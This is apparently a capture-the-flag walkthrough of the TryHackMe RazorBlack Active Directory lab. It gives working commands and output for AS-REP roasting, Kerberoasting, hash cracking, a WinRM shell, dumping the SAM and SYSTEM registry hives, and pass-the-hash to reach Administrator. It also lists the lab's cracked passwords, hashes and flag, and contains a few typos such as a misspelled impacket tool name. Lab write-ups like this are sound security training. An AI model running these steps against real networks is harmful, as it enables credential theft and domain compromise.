

THM RazorBlack

#THM

#AD

OS: Windows

Executive summary

In this box, we exploit vulnerabilities in Active Directory with a technique called Asreproasting and Kerberoasting. We get access to credentials through misconfiguration in the AD environment. After we find usernames, we are able to request crackable password hashes which we can then use to find real credentials, which we in turn use to move inside the environment to progress further. A service user was found that has too elaborate rights which in turn made it possible to become the Administrator of the environment.

Initial setup

First, we connect over VPN where the target is located. We also create a folder representing the machine we are targeting, go into it and save the ip-address as the variable in our terminal before starting.

Creating our folder and starting off inside it:

```
mkdir THMRazorBlack && cd THMRazorBlack
```

Enumeration

Initial scan:

PORT	STATE	SERVICE
53/tcp	open	domain
88/tcp	open	kerberos-sec
111/tcp	open	rpcbind
135/tcp	open	msrpc
139/tcp	open	netbios-ssn
389/tcp	open	ldap
445/tcp	open	microsoft-ds
464/tcp	open	kpasswd5
593/tcp	open	http-rpc-epmap
636/tcp	open	ldaps
2049/tcp	open	nfs
3268/tcp	open	globalcatLDAP
3269/tcp	open	globalcatLDAPssl
3389/tcp	open	ms-wbt-server
5985/tcp	open	wsman

We see that this is a Windows computer since it runs Kerberos, ldap and smb.

We check for anonymous and guest login for the services ldap, rpc and smb. We also check for

public shares.

We see that there is a public share called raz0rblack.thm, obtained through anonymous access:

```
(root@kali)-[~]
# netexec smb $target -u 'guest' -p '' --shares
SMB 10.112.176.138 445 HAVEN-DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:HAVEN-DC)
(domain:raz0rblack.thm) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.112.176.138 445 HAVEN-DC [-] raz0rblack.thm\guest: STATUS_ACCOUNT_DISABLED
```

We are able to establish an anonymous rpc connection, but do not have rights to list all users:

```
(root@kali)-[~]
# rpcclient -U "" -N $target
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $>
```

We only have the domain for now, so we need to see if we can access other services. We attempt to talk to nfs over port 2049 and do a google search to find out how we can do that. We attempt to see if we can mount the server directory, which we can:

```
(root@kali)-[~]
# showmount -e $target
Export list for 10.112.176.138:
/users (everyone)

(root@kali)-[~]
# mkdir /mnt/usersattacker

(root@kali)-[~]
# mount -t nfs $target:/users /mnt/usersattacker -o nolock

(root@kali)-[~]
# ls /mnt/usersattacker
employee_status.xlsx sbradley.txt
```

Following the guide, we create a directory and copy its contents into it. After listing the content we get two files, an excel sheet and a flag. sbradley is likely a username.

In the excel file, there is a list of different users and roles, according to the file:

HAVEN SECRET HACKER's CLUB		
Name's	Role	
daven port	CTF PLAYER	
imogen royce	CTF PLAYER	
tamara vidal	CTF PLAYER	
arthur edwards	CTF PLAYER	
carl ingram	CTF PLAYER (INACTIVE)	
nolan cassidy	CTF PLAYER	
reza zaydan	CTF PLAYER	
liudmila vetrova	CTF PLAYER, DEVELOPER, ACTIVE DIRECTORY ADMIN	
rico delgado	WEB SPECIALIST	
tyson williams	REVERSE ENGINEERING	
steven bradley	STEGO SPECIALIST	
chamber lin	CTF PLAYER (INACTIVE)	

We now have a userlist we can use in the environment for further enumeration.

We attempt Kerbrute and find valid usernames:

```
(root@kali)-[~/THMRazorBlack]
# kerbrute userenum users.txt --dc $target -d $domain

Version: v1.0.3 (9dad6e1) - 07/22/26 - Ronnie Flathers @ropnop

2026/07/22 05:53:47 > Using KDC(s):
2026/07/22 05:53:47 > 10.113.131.140:88

2026/07/22 05:53:47 > [+] VALID USERNAME:      lvetrova@razorblack.thm
2026/07/22 05:53:47 > [+] VALID USERNAME:      twilliams@razorblack.thm
2026/07/22 05:53:47 > [+] VALID USERNAME:      sbradley@razorblack.thm
2026/07/22 05:53:47 > Done! Tested 12 usernames (3 valid) in 0.060 seconds
```

Exploitation

Now we can attempt asreproasting:

```
(root@kali) [~/THMRazorBlack]
# impacket-GetNPUsers $domain/ -dc-ip $target -usersfile users.txt -outputfile hashes.txt
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User lvetrova doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
$krb5asrep$23$twilliams@RAZORBLACK.THM:c584d339d43b7c634bcd14d74298321$41ebc3248c2662e3339ee87a9b7ba726bf
b3a622b76d87d1ec8aaebe2264ddcb4af1f8ed4be9f1ea3bfb26d25d10d0e30a1de2ed4b4746757e785a281969bb5215d032ac4eef
254ead28e1567e042aaf3226dbbf787b947927abf228986588a9e3966fd9bd3d118614344b4cd7a708d37f38117f8716a548b4499
[-] User sbradley doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
```

User twilliams is vulnerable to asreproasting, so now we can attempt to crack that hash with johnthe ripper which succeeds, and we have his credentials:

```
(root@kali) [~/THMRazorBlack]
# john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
roastpotatoes ($krb5asrep$23$twilliams@RAZORBLACK.THM)
1g 0:00:00.04 DONE (2026-07-22 06:05) 0.2331g/s 984137p/s 984137c/s 984137C/s rob3560..roastedfish
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

We now have two main options:

- Test twilliams credentials
- Attempt kerberoasting with valid credentials

We attempt kerberoasting first and we are able to get another hash, a kerberos hash for the service account xyan1d3:

```
root@kali: ~/THMRazorBlack
# impacket-getUserSPN --target 'RAZORBLACK.THM\williams:roastpotatoes' --request
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

ServicePrincipalName      Name      MemberOf      PasswordLastSet      LastLogon      Delegation
HAVEN-DC\xyan1d3.razorblack.thm:00111  xyan1d3  CN=Remote Management Users,CN=Builtin,DC=razorblack,DC=thm  2021-02-23 10:17:17.715160  <never>

[-] CCache file is not found. Skipping...
krb5tgt$23$xyan1d3$RAZORBLACK.THM$RAZORBLACK.THM$xyan1d3$6d17d250a3401214e562c7118508ce3265b02e295234e7fae37ce0f960c99e98dd45abdd5e42514646c5515c080f356001adbc6e223e11e5ea44e998dec1b771e2e841c0da30f3a5cfc6c2a56162f363bb
a333db9139d02b34c5f5a2a833d0da0e96dbf10908e364818761ef2a3c74720bc41d0d2fcd6f8b8b9124d18edde6d02f7595f0cb88b186a8f0bae9cd9b172f3127fd388a572eb2af8d9d7f91b54325024b14f2675583bdf0e174f1e798c102fe79ab92599f5b9b31f25430f0a0e1
49687cd8837bc3aae599deef7613e1b6916c5740bc3d5ea4438d8fe01be5e8766fde103650d0505f54554899e47da152c2baa453ad4503671f269679ff6f8b5ebabb0605b3f79aca905a17ed513e7154231c192420e441cfc133a2f6c362b08c0b1e0334673a6189aa74fe4da9e7f2
ff6ec2b6d1c8a7ca2cf7c42e9766bf1cf763602875d25023722d57f6ba97131896361ca049c4e344a1d8205179b4a2d4ac0e91bcb455b48e3ec07d257441469069cc53e00ec7cdffe7266f3e53fb6aa2562b1e811bb9f1c785a757069b3f5c08b44412de0520574faeb400e2567149ac
d5704d4088a05b5f2b6f8899245123b04722f8b05fe0271d20f174574b305d08564b72ae4fb741cad920dcf1528d887bdeb0a35cc313b010b2be360be5c0b09922154052e1b3fe1f7fed96b0d16b627ab623dbab18be02ca2fa4018c9b7cf0a61ff77276fd121f376c044ac04ec
021f780af1d2bfc0ca0540c82027f00fc0eab3381a2df05c9804c6da5a7c2147180099f6f45f64da4da3c2ba55c3e70b34eb95a1f1cde02ef70f942ba4601f22dc7f0d5f6ed0d98eaf59b9af0be9956201b10e164b533bc48500645abce1492cc4dd021b70bc5567e1e75
65e0a1c4f8dc573b0da3eac5838002daad5d1c808650ae0d9f9cd05ec9b158de2d00362c1318dd561728d6705b21420829670f97bd6e3d7f9702790b24faa4df323a554ca848cd1530822790ea062c23e928097a6fac444c23d46bb7359ce1403946d1d7f40055307185f5af
e712d4d55214ab15d6a09b955d9428c63a42961c33e3cceb13f2e5874b4ec45409ff5bd7f417270f78fc00e5b95ac089407aaf95fdbc7b2a57b90f73e2061a7e911667f3a7f6a196c1384bf214055ff984c68200e4f2712623392b06b1cca48a39b20a2ebd5e0d672ad3d021
71837c123d043daee098af690d9c19e7b0dcf22627fb3c0dbf42c1b0338e831a67938dbf3aa80764f7e6fa286ed095a0ce508ce4b66b0357c6a67ec7639faaf7d8ed059146c4e0e18326bb12a9b8e7f9bf789a961100055a44a590775f4c8790e3e76e317facf5d0d2ef0927694
783052bce92343f3a2f68a4924ef35d4d2c02a22ab25c3987a0b9fccc0c79d076a67579b4bd38ab4bf601093e
```

We can now attempt to crack that hash as well to get credentials for that service account, which we do:

```
(root@kali) - [~/THMRazorBlack]
# john --wordlist=/usr/share/wordlists/rockyou.txt kerberhash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgt, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:02 29.98% (ETA: 06:12:28) 0g/s 1611Kp/s 1611Kc/s 1611KC/s qdelicia23..qbonita!
cyanide9amine5628 (?)
1g 0:00:00:21 DONE (2026-07-22 06:12) 0.04625g/s 410168p/s 410168c/s 410168C/s cybaster..cy2802341
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

We want to test these credentials against open services.

After attempting winrm with the service user xyan1d3, we see that we have shell access:

```
(root@kali) - [~]
# netexec winrm $target -u 'xyan1d3' -p 'cyanide9amine5628'
WINRM 10.113.184.214 5985 HAVEN-DC [+] Windows 10 / Server 2019 Build 17763 (name:HAVEN-DC) (domain:razorblack.thm)
WINRM 10.113.184.214 5985 HAVEN-DC [+] razorblack.thm\xyan1d3:cyanide9amine5628 (Pwn3d!)
```

We attempt to spawn a shell win evil-winrm, which succeeds:

```
(root@kali) - [~]
# evil-winrm -u xyan1d3 -p 'cyanide9amine5628' -i $target
Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\xyan1d3\Documents> whoami
razorblack\xyan1d3
*Evil-WinRM* PS C:\Users\xyan1d3\Documents> ls
*Evil-WinRM* PS C:\Users\xyan1d3\Documents> █
```

Since we have a shell, we attempt to go for privilege escalation. When checking which privileges we have, we see that we have SeBackupPrivilege and SeRestorePrivilege enabled. This means that we can copy from the registry to get credentials from the whole system:

“Pasted image 20260722142845.png” could not be found.

Post-Exploitation (Privilege Escalation)

First, we create a folder on C from the shell on the target:

```
mkdir temp and go into it (C:\temp)
```

we then copy from the registry:

reg save hklm\sam c:\Temp\sam which results in the sam file and
reg save hklm\system c:\Temp\system which results in the system file.

Now we can download it to our attacker by running:

download sam and download system - It will arrive where the shell was spawned from.

Now, we can run: `impacket-secretsdump -sam sam -system system local` and we get the hash from the administrator.

```
(root@kali)-[~]
# impacket-secretsdump -sam sam -system system local
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0xf1582a79dd00631b701d3d15e75e59f6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9689931bed40ca5a2ce1218210177f0c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:
[*] Cleaning up ...
```

Now we just need to get access to the administrative account. We can attempt a pass the hash attack, which works with `impacket-wmiexec` (we also attempted `psexec`):

```
(root@kali)-[~]
# impacket-wmiexec raz0rblack.thm/Administrator@$target -hashes :9689931bed40ca5a2ce1218210177f0c
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami /all

USER INFORMATION
_____

User Name                               SID
=====
raz0rblack\administrator S-1-5-21-3403444377-2687699443-13012745-500
```

```
C:\>whoami /all

USER INFORMATION
_____

User Name                               SID
=====
raz0rblack\administrator S-1-5-21-3403444377-2687699443-13012745-500
```

We can do anything inside the system now, but for good measure, let's get all the credentials from all of the users:

Findings and Flags

In this section, finding from various sources gets collected, typically usernames, hashes, credentials or similar.

- **User Flag:** THM{ab53e05c9a98def00314a14ccbfa8104}

Username

[lvetrova@raz0rblack.thm](#) (Listed as AD admin)

[twilliams@raz0rblack.thm](#):roastpotatoes

[sbradley@raz0rblack.thm](#)

xyan1d3:cyanide9amine5628

Hashes

Administrator: :9689931bed40ca5a2ce1218210177f0c